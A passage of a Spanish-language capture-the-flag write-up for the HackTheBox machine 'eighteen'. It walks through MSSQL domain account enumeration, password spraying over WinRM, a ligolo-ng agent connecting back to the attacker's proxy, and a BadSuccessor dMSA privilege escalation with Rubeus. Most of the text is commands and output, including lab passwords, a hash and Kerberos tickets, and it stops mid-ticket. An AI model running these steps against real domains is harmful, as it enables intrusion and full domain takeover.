El sitio muestra unicamente un usuario registrado.

Enumerating Users

Utilizamos el modulo auxiliar mssql_enum_domain_accounts para la enumeracion de usuarios a traves de MSSQL.

msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > show options

Module options (auxiliary/admin/mssql/mssql_enum_domain_accounts):

   Name                 Current Setting   Required  Description
   ----                 ---------------   --------  -----------
   FuzzNum              10000             yes       Number of principal_ids to fuzz.
   PASSWORD             iNa2we6haRj2gaw!  no        The password for the specified username
   RHOSTS               eighteen.htb      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT                1433              yes       The target port (TCP)
   USERNAME             kevin             no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false             yes       Use windows authentication (requires DOMAIN option set)


View the full module info with the info, or info -d command.

msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > run
[*] Running module against 10.129.78.214
[*] 10.129.78.214:1433 - Attempting to connect to the database server at 10.129.78.214:1433 as kevin...
[+] 10.129.78.214:1433 - Connected.
[*] 10.129.78.214:1433 - SQL Server Name: DC01
[*] 10.129.78.214:1433 - Domain Name: EIGHTEEN
[+] 10.129.78.214:1433 - Found the domain sid: 010500000000000515000000dfdeac44d4131d236f599b76
[*] 10.129.78.214:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.129.78.214:1433 -  - EIGHTEEN\Administrator
[*] 10.129.78.214:1433 -  - EIGHTEEN\Guest
[*] 10.129.78.214:1433 -  - EIGHTEEN\krbtgt
[*] 10.129.78.214:1433 -  - EIGHTEEN\Domain Admins
[*] 10.129.78.214:1433 -  - EIGHTEEN\Domain Users
[*] 10.129.78.214:1433 -  - EIGHTEEN\Domain Guests
[*] 10.129.78.214:1433 -  - EIGHTEEN\Domain Computers
[*] 10.129.78.214:1433 -  - EIGHTEEN\Domain Controllers
[*] 10.129.78.214:1433 -  - EIGHTEEN\Cert Publishers
[*] 10.129.78.214:1433 -  - EIGHTEEN\Schema Admins
[*] 10.129.78.214:1433 -  - EIGHTEEN\Enterprise Admins
[*] 10.129.78.214:1433 -  - EIGHTEEN\Group Policy Creator Owners
[*] 10.129.78.214:1433 -  - EIGHTEEN\Read-only Domain Controllers
[*] 10.129.78.214:1433 -  - EIGHTEEN\Cloneable Domain Controllers
[*] 10.129.78.214:1433 -  - EIGHTEEN\Protected Users
[*] 10.129.78.214:1433 -  - EIGHTEEN\Key Admins
[*] 10.129.78.214:1433 -  - EIGHTEEN\Enterprise Key Admins
[*] 10.129.78.214:1433 -  - EIGHTEEN\Forest Trust Accounts
[*] 10.129.78.214:1433 -  - EIGHTEEN\External Trust Accounts
[*] 10.129.78.214:1433 -  - EIGHTEEN\RAS and IAS Servers
[*] 10.129.78.214:1433 -  - EIGHTEEN\Allowed RODC Password Replication Group
[*] 10.129.78.214:1433 -  - EIGHTEEN\Denied RODC Password Replication Group
[*] 10.129.78.214:1433 -  - EIGHTEEN\DC01$
[*] 10.129.78.214:1433 -  - EIGHTEEN\DnsAdmins
[*] 10.129.78.214:1433 -  - EIGHTEEN\DnsUpdateProxy
[*] 10.129.78.214:1433 -  - EIGHTEEN\mssqlsvc
[*] 10.129.78.214:1433 -  - EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
[*] 10.129.78.214:1433 -  - EIGHTEEN\HR
[*] 10.129.78.214:1433 -  - EIGHTEEN\IT
[*] 10.129.78.214:1433 -  - EIGHTEEN\Finance
[*] 10.129.78.214:1433 -  - EIGHTEEN\jamie.dunn
[*] 10.129.78.214:1433 -  - EIGHTEEN\jane.smith
[*] 10.129.78.214:1433 -  - EIGHTEEN\alice.jones
[*] 10.129.78.214:1433 -  - EIGHTEEN\adam.scott
[*] 10.129.78.214:1433 -  - EIGHTEEN\bob.brown
[*] 10.129.78.214:1433 -  - EIGHTEEN\carol.white
[*] 10.129.78.214:1433 -  - EIGHTEEN\dave.green
[+] 10.129.78.214:1433 - 38 user accounts, groups, and computer accounts were found.
[*] 10.129.78.214:1433 - Query results have been saved to: /home/kali/.msf4/loot/20251115170845_default_10.129.78.214_mssql.domain.acc_504033.txt
[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) >

Creamos un wordlist con los usuarios y grupos encontrados.

❯ cat /home/kali/.msf4/loot/20251115170845_default_10.129.78.214_mssql.domain.acc_504033.txt | grep EIGHTEEN | cut -d '\' -f2 | cut -d '"' -f1  > user_group.txt
❯ wc -l user_group.txt
37 user_group.txt
❯

Password Spraying

Ejecutamos netexec con los usuarios/grupos y la contrasena anterior encontrada a WinRM logrando obtener un par aceptado.

1
2
3

❯ netexec winrm eighteen.htb -u user_group.txt -p 'iloveyou1' 2>/dev/null | grep '[+]'
WINRM                    10.129.78.214   5985   DC01             [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
❯

User - Adam.Scott

Ejecutamos winrmexec con las credenciales logrado acceder a la maquina y la flag user.txt.

❯ python ../winrmexec/winrmexec.py -dc-ip 10.129.78.214 adam.scott:iloveyou1@eighteen.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] '-target_ip' not specified, using eighteen.htb
[*] '-port' not specified, using 5985
[*] '-url' not specified, using http://eighteen.htb:5985/wsman
PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott
PS C:\Users\adam.scott\Documents> cat ../Desktop/user.txt
62afe8508a58357cac88b1a98954f6a6
PS C:\Users\adam.scott\Documents>

Web App - Source Code

En C:\inetpub\eighteen.htb descubrimos el codigo fuente del sitio.

PS C:\> dir -force inetpub/eighteen.htb


    Directory: C:\inetpub\eighteen.htb


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
d-----        10/27/2025   1:12 PM                static                                                                
d-----         11/8/2025   6:29 AM                templates                                                             
-a----         11/8/2025   6:49 AM          10646 app.py                                                                
-a----        10/27/2025   1:15 PM             57 requirements.txt                                                      
-a----        11/10/2025  12:18 PM            611 web.config                                                            


PS C:\>

Existe un par de credenciales (appdev:MissThisElite$90) para la base de datos.

from flask import Flask, render_template, request, redirect, url_for, session, flash
from werkzeug.security import generate_password_hash, check_password_hash
from functools import wraps
import pyodbc
from datetime import datetime
import os

app = Flask(__name__)
app.secret_key = os.urandom(24)
app.config['SESSION_TYPE'] = 'filesystem'

DB_CONFIG = {
    'server': 'dc01.eighteen.htb',
    'database': 'financial_planner',
    'username': 'appdev',
    'password': 'MissThisElite$90',
    'driver': '{ODBC Driver 17 for SQL Server}',
    'TrustServerCertificate': 'True'
}

def get_db_connection():
    conn_str = f"DRIVER={DB_CONFIG['driver']};SERVER={DB_CONFIG['server']};DATABASE={DB_CONFIG['database']};UID={DB_CONFIG['username']};PWD={DB_CONFIG['password']}"
    return pyodbc.connect(conn_str)

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('Please log in to access this page.', 'warning')
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('Please log in to access this page.', 'warning')
            return redirect(url_for('login'))

        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute("SELECT is_admin FROM users WHERE id = ?", (session['user_id'],))
        user = cursor.fetchone()
        conn.close()

        if not user or not user[0]:
            flash('Access denied. Admin privileges required.', 'danger')
            return redirect(url_for('dashboard'))
        return f(*args, **kwargs)
    return decorated_function

def track_visit(page):
    try:
        conn = get_db_connection()
        cursor = conn.cursor()
        user_agent = request.headers.get('User-Agent', 'Unknown')
        cursor.execute(
            "INSERT INTO visits (user_agent, visited_page, timestamp) VALUES (?, ?, ?)",
            (user_agent, page, datetime.now())
        )
        conn.commit()
        conn.close()
    except:
        pass

@app.route('/')
def index():
    track_visit('/')
    return render_template('index.html')

@app.route('/features')
def features():
    track_visit('/features')
    return render_template('features.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    track_visit('/register')
    if request.method == 'POST':
        full_name = request.form['full_name']
        username = request.form['username']
        email = request.form['email']
        password = request.form['password']

        password_hash = generate_password_hash(password, 'pbkdf2')

        try:
            conn = get_db_connection()
            cursor = conn.cursor()
            cursor.execute(
                "INSERT INTO users (full_name, username, email, password_hash, is_admin, created_at) VALUES (?, ?, ?, ?, 0, ?)",
                (full_name, username, email, password_hash, datetime.now())
            )
            conn.commit()
            conn.close()
            flash('Registration successful! Please log in.', 'success')
            return redirect(url_for('login'))
        except Exception as e:
            flash(f'Registration failed. Username or email may already exist. {e}', 'danger')
            return redirect(url_for('register'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    track_visit('/login')
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute("SELECT id, password_hash, full_name FROM users WHERE username = ?", (username,))
        user = cursor.fetchone()
        conn.close()

        if user and check_password_hash(user[1], password):
            session['user_id'] = user[0]
            session['username'] = username
            session['full_name'] = user[2]
            flash(f'Welcome back, {user[2]}!', 'success')
            return redirect(url_for('dashboard'))
        else:
            flash('Invalid username or password.', 'danger')

    return render_template('login.html')

@app.route('/logout')
def logout():
    session.clear()
    flash('You have been logged out.', 'info')
    return redirect(url_for('index'))

@app.route('/dashboard')
@login_required
def dashboard():
    track_visit('/dashboard')
    user_id = session['user_id']

    conn = get_db_connection()
    cursor = conn.cursor()

    cursor.execute("SELECT monthly_salary, yearly_salary FROM incomes WHERE user_id = ? ORDER BY created_at DESC", (user_id,))
    income = cursor.fetchone()

    cursor.execute("SELECT id, category, type, value FROM expenses WHERE user_id = ?", (user_id,))
    expenses = cursor.fetchall()

    cursor.execute("SELECT savings, investments FROM allocations WHERE user_id = ? ORDER BY created_at DESC", (user_id,))
    allocation = cursor.fetchone()

    conn.close()

    monthly_salary = income[0] if income else 0
    yearly_salary = income[1] if income else 0

    total_expenses = 0
    expense_list = []
    for exp in expenses:
        exp_id, category, exp_type, value = exp
        if exp_type == 'fixed':
            amount = value
        else:
            amount = (value / 100) * monthly_salary
        total_expenses += amount
        expense_list.append({
            'id': exp_id,
            'category': category,
            'type': exp_type,
            'value': value,
            'amount': amount
        })

    remaining = monthly_salary - total_expenses
    savings = allocation[0] if allocation else 0
    investments = allocation[1] if allocation else 0

    return render_template('dashboard.html',
                         monthly_salary=monthly_salary,
                         yearly_salary=yearly_salary,
                         expenses=expense_list,
                         total_expenses=total_expenses,
                         remaining=remaining,
                         savings=savings,
                         investments=investments)

@app.route('/update_income', methods=['POST'])
@login_required
def update_income():
    user_id = session['user_id']
    monthly_salary = float(request.form['monthly_salary'])
    yearly_salary = monthly_salary * 12

    conn = get_db_connection()
    cursor = conn.cursor()

    cursor.execute("SELECT id FROM incomes WHERE user_id = ?", (user_id,))
    existing = cursor.fetchone()

    if existing:
        cursor.execute(
            "UPDATE incomes SET monthly_salary = ?, yearly_salary = ? WHERE user_id = ?",
            (monthly_salary, yearly_salary, user_id)
        )
    else:
        cursor.execute(
            "INSERT INTO incomes (user_id, monthly_salary, yearly_salary, created_at) VALUES (?, ?, ?, ?)",
            (user_id, monthly_salary, yearly_salary, datetime.now())
        )

    conn.commit()
    conn.close()

    flash('Income updated successfully!', 'success')
    return redirect(url_for('dashboard'))

@app.route('/add_expense', methods=['POST'])
@login_required
def add_expense():
    user_id = session['user_id']
    category = request.form['category']
    exp_type = request.form['type']
    value = float(request.form['value'])

    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute(
        "INSERT INTO expenses (user_id, category, type, value, created_at) VALUES (?, ?, ?, ?, ?)",
        (user_id, category, exp_type, value, datetime.now())
    )
    conn.commit()
    conn.close()

    flash('Expense added successfully!', 'success')
    return redirect(url_for('dashboard'))

@app.route('/delete_expense/<int:expense_id>', methods=['POST'])
@login_required
def delete_expense(expense_id):
    user_id = session['user_id']

    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute("DELETE FROM expenses WHERE id = ? AND user_id = ?", (expense_id, user_id))
    conn.commit()
    conn.close()

    flash('Expense deleted successfully!', 'success')
    return redirect(url_for('dashboard'))

@app.route('/update_allocation', methods=['POST'])
@login_required
def update_allocation():
    user_id = session['user_id']
    savings = float(request.form['savings'])
    investments = float(request.form['investments'])

    conn = get_db_connection()
    cursor = conn.cursor()

    cursor.execute("SELECT id FROM allocations WHERE user_id = ?", (user_id,))
    existing = cursor.fetchone()

    if existing:
        cursor.execute(
            "UPDATE allocations SET savings = ?, investments = ? WHERE user_id = ?",
            (savings, investments, user_id)
        )
    else:
        cursor.execute(
            "INSERT INTO allocations (user_id, savings, investments, created_at) VALUES (?, ?, ?, ?)",
            (user_id, savings, investments, datetime.now())
        )

    conn.commit()
    conn.close()

    flash('Allocation updated successfully!', 'success')
    return redirect(url_for('dashboard'))

@app.route('/admin')
@admin_required
def admin():
    track_visit('/admin')

    conn = get_db_connection()
    cursor = conn.cursor()

    cursor.execute("SELECT COUNT(*) FROM users")
    total_users = cursor.fetchone()[0]

    cursor.execute("SELECT COUNT(*) FROM visits")
    total_visits = cursor.fetchone()[0]

    cursor.execute("SELECT COUNT(*) FROM expenses")
    total_expenses_count = cursor.fetchone()[0]
    avg_expenses = total_expenses_count / total_users if total_users > 0 else 0

    cursor.execute("SELECT AVG(savings), AVG(investments) FROM allocations")
    allocation_avg = cursor.fetchone()
    avg_savings = allocation_avg[0] if allocation_avg[0] else 0
    avg_investments = allocation_avg[1] if allocation_avg[1] else 0

    cursor.execute("SELECT category, COUNT(*) as count FROM expenses GROUP BY category ORDER BY count DESC")
    top_categories = cursor.fetchall()[:5]

    cursor.execute("SELECT full_name, username, email, created_at FROM users ORDER BY created_at DESC")
    recent_users = cursor.fetchall()[:5]

    conn.close()

    return render_template('admin.html',
                         total_users=total_users,
                         total_visits=total_visits,
                         avg_expenses=avg_expenses,
                         avg_savings=avg_savings,
                         avg_investments=avg_investments,
                         top_categories=top_categories,
                         recent_users=recent_users)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Tunneling

Localmente observamos que exiten otros puertos abiertos.

PS C:\Users\adam.scott\Documents> netstat -ano | findstr /v UDP

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       396
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       396
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       2684
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2560
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       672
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1160
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1440
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:49680          0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:49681          0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:49684          0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:49689          0.0.0.0:0              LISTENING       808
  TCP    0.0.0.0:49703          0.0.0.0:0              LISTENING       2656
  TCP    0.0.0.0:57599          0.0.0.0:0              LISTENING       2636
  TCP    10.129.78.214:53       0.0.0.0:0              LISTENING       2656
  TCP    10.129.78.214:139      0.0.0.0:0              LISTENING       4
  TCP    10.129.78.214:5985     10.10.14.6:57228       ESTABLISHED     4
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       2656
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       2684
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:88                [::]:0                 LISTENING       820
  TCP    [::]:135               [::]:0                 LISTENING       396
  TCP    [::]:389               [::]:0                 LISTENING       820
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:464               [::]:0                 LISTENING       820
  TCP    [::]:593               [::]:0                 LISTENING       396
  TCP    [::]:636               [::]:0                 LISTENING       820
  TCP    [::]:1433              [::]:0                 LISTENING       2684
  TCP    [::]:3268              [::]:0                 LISTENING       820
  TCP    [::]:3269              [::]:0                 LISTENING       820
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:9389              [::]:0                 LISTENING       2560
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       820
  TCP    [::]:49665             [::]:0                 LISTENING       672
  TCP    [::]:49666             [::]:0                 LISTENING       1160
  TCP    [::]:49667             [::]:0                 LISTENING       1440
  TCP    [::]:49668             [::]:0                 LISTENING       820
  TCP    [::]:49680             [::]:0                 LISTENING       820
  TCP    [::]:49681             [::]:0                 LISTENING       820
  TCP    [::]:49684             [::]:0                 LISTENING       820
  TCP    [::]:49689             [::]:0                 LISTENING       808
  TCP    [::]:49703             [::]:0                 LISTENING       2656
  TCP    [::]:57599             [::]:0                 LISTENING       2636
  TCP    [::1]:53               [::]:0                 LISTENING       2656
  TCP    [::1]:389              [::1]:49682            ESTABLISHED     820
  TCP    [::1]:389              [::1]:49683            ESTABLISHED     820
  TCP    [::1]:389              [::1]:49702            ESTABLISHED     820
  TCP    [::1]:389              [::1]:63339            ESTABLISHED     820
  TCP    [::1]:1434             [::]:0                 LISTENING       2684
# [... cut ..]
PS C:\Users\adam.scott\Documents>

Iniciamos una nueva sesion con evil-winrm-py, subimos el agente de ligolo-ng a la maquina y realizamos una conexion a nuestro proxy.

evil-winrm-py PS C:\Users\adam.scott\Documents> upload ../www/agent.exe agent.exe
Uploading /home/kali/htb/www/agent.exe: 6.44MB [00:18, 362kB/s]                                                                                                                         
[+] File uploaded successfully as: C:\Users\adam.scott\Documents\agent.exe
evil-winrm-py PS C:\Users\adam.scott\Documents> 
evil-winrm-py PS C:\Users\adam.scott\Documents> ./agent.exe -connect 10.10.14.64:443 -ignore-cert

Localmente, tras ejecutar el proxy seleccionamos la sesion, creamos una interfaz, iniciamos el tunel y agregamos una ruta para los puertos locales.

# localhost ports
sudo ./proxy -selfcert -laddr 0.0.0.0:443
session # select <eighteen session number>
interface_create --name eighteen
tunnel_start --tun eighteen
interface_add_route --name eighteen --route 240.0.0.0/4

Vemos que localmente logramos el acceso por medio de ldap.

❯ nxc ldap 240.0.0.0 -u adam.scott -p iloveyou1
LDAP        240.0.0.0       389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        240.0.0.0       389    DC01             [+] eighteen.htb\adam.scott:iloveyou1 
❯

Privesc

Tras ejecutar SharpHound y Bloodhound, no se encontro permisos o grupos relevantes para adam, unicamente REMOTE MANAGEMENT USERS el cual permite a este usuario acceder por WinRM.

BloodyAD - CREATE_CHILD

Ejecutamos bloodyAD para listar los objetos a los que adamn tiene permisos. Se muestra que tiene el permiso CREATE_CHILD al OU Staff.

❯ bloodyAD --host 240.0.0.0 -d eighteen.htb -u adam.scott -p iloveyou1 get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=eighteen,DC=htb
permission: WRITE

distinguishedName: OU=Staff,DC=eighteen,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=adam.scott,OU=Staff,DC=eighteen,DC=htb
permission: WRITE
❯

BadSuccessor

El permiso CREATE_CHILD nos permite realizar un ataque “BadSuccessor”, este toma ventaja de cuentas dMSAs y permiso sobre un OU.

Ref.

Exploit

Para realizar la explotacion utilizamos BadSuccessor, importando este con Import-Module.

evil-winrm-py PS C:\Users\adam.scott\Documents> upload ../www/BadSuccessor.ps1 BadSuccessor.ps1
Uploading /home/kali/htb/www/BadSuccessor.ps1: 100%|███████████████████████████████████████████████████████████████████████████████████████████████| 16.3k/16.3k [00:00<00:00, 77.2kB/s]
[+] File uploaded successfully as: C:\Users\adam.scott\Documents\BadSuccessor.ps1
evil-winrm-py PS C:\Users\adam.scott\Documents> Import-Module ./BadSuccessor.ps1
evil-winrm-py PS C:\Users\adam.scott\Documents>

Ejecutamos especificando el OU, nombre del dMSA, nuestro usuario y el usuario privilegiado u objetivo.

PS C:\users\adam.scott\Documents> BadSuccessor -mode exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name bad -DelegatedAdmin adam.scott -DelegateTarget Administrator -domain eighteen.htb
Creating dMSA at: LDAP://eighteen.htb/OU=Staff,DC=eighteen,DC=htb
0
0
0
0
Successfully created and configured dMSA 'bad'
Object adam.scott can now impersonate Administrator
PS C:\users\adam.scott\Documents>

Con Rubeus solicitamos un nuevo ticket de nuestro usuario.

PS C:\users\adam.scott\Documents> ./Rubeus2.3.exe asktgt /user:adam.scott /password:iloveyou1 /domain:eighteen.htb /dc:dc01.eighteen.htb /nowrap /opsec /force

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 

[*] Action: Ask TGT

[*] Using domain controller: dc01.eighteen.htb (fe80::285a:ee4c:16d2:ba3f%3)
[!] Pre-Authentication required!
[!]	AES256 Salt: EIGHTEEN.HTBadam.scott
[!]	AES128 Salt: EIGHTEEN.HTBadam.scott
[!]	Etype 23 Salt: <not provided>
[*] Using rc4_hmac hash: 9964DAE494A77414E34AFF4F34412166
[*] Building AS-REQ (w/ preauth) for: 'eighteen.htb\adam.scott'
[*] Using domain controller: fe80::285a:ee4c:16d2:ba3f%3:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFpjCCBaKgAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoQ4bDEVJR0hURUVOLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMRUlHSFRFRU4uSFRCo4IEYTCCBF2gAwIBEqEDAgECooIETwSCBEv+k1lN0M/0UViXZmpYoc2Vhurw5hY+Zbte4cFcKVnHia0DHHeEfhcQfvpAsmu82EFSKN8Rq2S135dR9M6e3eToS3fNrfBavs2bOCuK56O6Pzm6bj+g1Cm/ydhb6YQwarsFPzDnQKQLq6ozParO/fgXyM9EBzOsYlEzQox1scD1V4CCB7ZTQqqPou8/bv/aYsSKx3CAS9gGk8SExJxKvsV3jVNktZxciGEhufzVyfYVsubtAW+zztwyqQtP90xRAPA1+XM3/2iYl/FE5bJZ2zK7gPPyH52ek9m4hbwG2DdG1xoz9trJJaLLtViDS8CcGm8W/MJnWV+re08Qvn08RHxpGEpwCnLUUpagjCTbPQ7GNeFjCnozVfd6oqPn952EU4MbiwQI3mNc/SxdBNC8U3x+6JNkB9kxq60GjjgdSWyLXMakToB75jXY6EQAc2tHJ8PEid4YMq3MPbqj7AqxZt+nUEQghnVjUfixsjngY9lW8TF1vzMqbUvUQdxOwf/aKpQqRWgz5VLWXlcmLtOgBHuqxvYmJYjNw/5fPq5J04di/JfQiNl6AoLbz3CJwB8Svq6b8j81tNwBJw2JKUFshzXVPkDvwugzEUBXX5/tWoz3T7dbo4AgNVV7Yo8uHLkxM6nxh0t/VcbXySToziqygz8oa0xzXPW9tgilKtSds4Mz3wfljGitq4FMroY1L1jD8q3EHVbgXq/aeUT4yn3qegAe4iPbKK6yOzw1ZQXtl552FYeBLz4kcNlDP8D9jmut+WwPLL8/iMZ6+JkfIHvPyn+MFotCJRbsTqj0LOd+ZlhkkPnZWVJG1MZ0X1ACSwcMeR/YnAblzYxIkKb3Z0LeNXgLwFd8vyeJvUWPI2rXDiL6vkOl3k15SQ03qDQlwb+kUHo5OmymVpbkSEAfH7E6ETOW0+XFBGPm44wPKP9AKd2/WavbRdfBgrvpRTNQN39ofsDnoBr1qsMM3BJPrAMKujm1ABMT9ytgBnukxmE5dFPnyLruW+Cq/J9/UQJO9/H0edBS3ZzjXvgoyKENwceG3MWBUqaztPmwxz9pHwijbj15gdaBKgU2D4hD70/CeNTgAyrpB6GrKZ+01C5oUB+mv5kIm9RTNP23SoNjbry6NfHkyU146FxIdOzP40EtON8Z3oo6UDnBe5MFwdbjlz09ldTmJAt46s9mS/dIbYxHsTNi6BOuj0hMqbm+09yZVK1uRASWa+ugEhWe1+fgdxUpzKnC8OY5fzq54dsVD1V6lvzx1rD3GpE5M+lOf6J6lOjehZ8mphd7Ah/e8Vbjn0boh6TpKVStKD2nr9bZlnudOyRwWVIA1Sm70iNV/WD+jr1iQa2eT0pyF2mNWww2jmAsahAh++D8XFy6qM2+ws8WtL6CoYSotH7cE0CNMUDfr2IAOBMbADQa6mJumqwZA8ypa28YBgUSWki+U9CpehLI9DwW3mqYDWUECGQdZphLo4HoMIHloAMCAQCigd0Egdp9gdcwgdSggdEwgc4wgcugKzApoAMCARKhIgQgApNigRhGT47Saq+XqVhvBcNjqpR0Fg+U64VPYCFrIKGhDhsMRUlHSFRFRU4uSFRCohcwFaADAgEBoQ4wDBsKYWRhbS5zY290dKMHAwUAQOEAAKURGA8yMDI1MTExNjA5NDQwNFqmERgPMjAyNTExMTYxOTQ0MDRapxEYDzIwMjUxMTIzMDk0NDA0WqgOGwxFSUdIVEVFTi5IVEKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDEVJR0hURUVOLkhUQg==

  ServiceName              :  krbtgt/EIGHTEEN.HTB
  ServiceRealm             :  EIGHTEEN.HTB
  UserName                 :  adam.scott (NT_PRINCIPAL)
  UserRealm                :  EIGHTEEN.HTB
  StartTime                :  11/16/2025 1:44:04 AM
  EndTime                  :  11/16/2025 11:44:04 AM
  RenewTill                :  11/23/2025 1:44:04 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  ApNigRhGT47Saq+XqVhvBcNjqpR0Fg+U64VPYCFrIKE=
  ASREP (key)              :  9964DAE494A77414E34AFF4F34412166

PS C:\users\adam.scott\Documents>

Este ultimo lo utilizamos para solicitar uno nuevo ahora para el dMSA que recien fue creado.

PS C:\users\adam.scott\Documents> ./Rubeus2.3.exe asktgs /targetuser:bad$ /service:krbtgt/eighteen.htb /opsec /dmsa /nowrap /ptt /outfile:ticket.kirbi /ticket:doIFpjCC[...ticket...]R0hURUVOLkhUQg==

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'bad$' from 'adam.scott'
[+] Sequence number is: 993886314
[*] Using domain controller: DC01.eighteen.htb (fe80::285a:ee4c:16d2:ba3f%3)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIFkjCCBY6gAwIBBaEDAgEWooIEmzCCBJdhggSTMIIEj6ADAgEFoQ4bDEVJR0hURUVOLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMRUlHSFRFRU4uSFRCo4IEUzCCBE+gAwIBEqEDAgECooIEQQSCBD1ATcT6DF10JcCiDCZ+n1X8wut2pdMt2jU8B3xhyAOdhnBcRXiw/0t4eSEf2CX+iquUOND3WdYiPVwhID25B/Yw7bXV69tKyQzG6Z5rmHernws1Z2kTQ0JnwMCXIOjXfkUcjbTluTJRPe96rWwFDHJERa1LYVh+G1iTbk5gEnAwVSJ2U+9wUj8fCIS4jum4skw18FEMiqszqi7nkmgLK3mnl+o3iCbyMC3RHIuN8MLbNoMTU0E8Ze0o8uQztHS4H0jMVpS2qofFLOtPL2aMpNV7JBu/qZBLZnEqI5KXi2ANTso2vVwhTwKbhkK/fcWzR8a0y5q1Zxqu15Dz2QPU6DvAtrnoNBpSDM56GaZcOlwosOjaRMW0Z+nEIyPxVN8kKyebB0UnUk3Flhev3I1TzZQ8DupptzNb14JJxErFfFnGg7BBeDFsWy4x3Rr1Hh2FSv8S4OzFIyZvj2jQacuX1bZunrNfAxfTMp+CZoTNjRXBrF69ahlbqb+8yt5GkOxh1CAAxnCegeSU1lx9jGUnAenMtnbvNXf5IBOIJPqePY/s/C1Na/EgEWWo5zE6QBkCfuOgVlxeUT/yq92ZbdJ0GXzmi600/oKtoTk/OuCazmr90NS14wC4yA8YyaEnprv907hD1M+yDCg5hlewrz/izvVszPNh4AjhK6Xhw7txdjsvlJFerHE9xq3+aE1ncWj64i2x1+fpaum2i1C+2WQEGkEuaGvg+2WcYIA6WemTgItmZu687AL0vM5fGbgEnPEsm1gg7J6/ECZE/SNTT0hX6O7LPc5nqld2gsauZGM6UAL5ExJzFzM9spwtLYWHj0MXyLhiQV9IQs3Yp7ukSxAC+sdK0ieSpZymP5pTMc4Pp50kRcBG4icf5f00Qkfnr3oVf7N0OzamQPV411S6b9GCV4N88IXebGs3cAy8r8NaGoRNb0Z+lmvxnDyjZxa5DuC5tEhnCEsLevkTJAuirvraVh1zp5/Y4JTCoMSmIkHePgQ4nLqTQPUXNx5aBexoNMpmeR3